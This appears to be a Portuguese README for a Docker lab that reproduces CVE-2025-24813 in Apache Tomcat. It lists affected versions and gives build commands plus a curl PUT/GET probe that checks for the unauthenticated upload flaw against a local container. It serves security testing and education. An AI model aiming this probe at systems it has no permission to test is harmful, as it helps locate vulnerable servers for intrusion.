Apache Tomcat RCE não autenticado - CVE-2025-24813

Este repositório fornece um guia e ambiente de teste para avaliar a vulnerabilidade CVE-2025-24813.

Detalhes

Versões Afetadas:

• Apache Tomcat 11.0.0-M1 to 11.0.2
• Apache Tomcat 10.1.0-M1 to 10.1.34
• Apache Tomcat 9.0.0.M1 to 9.0.98

Referências

• Aviso CVE-2025-24813
• Anúncio Apache

Passos para Testar a Vulnerabilidade

1. Execute o seguinte comando para construir e iniciar o contêiner vulnerável do Apache Tomcat

docker build -t v-tomcat .
docker run -d -p 1234:8080 --name tomcat-lab v-tomcat

If the ROOT folder is not created;
docker exec -it tomcat-lab mkdir -p /usr/local/tomcat/webapps/ROOT

2. Faça upload de um arquivo usando curl

curl -X PUT -H "Content-Type: application/octet-stream" --data-binary "vuln3r4bl3" http://localhost:1234/vln

3. Verifique o upload: se a resposta contiver "vuln3r4bl3", isso indica que o upload foi bem-sucedido.

curl -X GET http://localhost:1234/vln

⚠️ Aviso

Este laboratório destina-se apenas a fins educacionais e de pesquisa em segurança. Não implante esta configuração em sistemas de produção.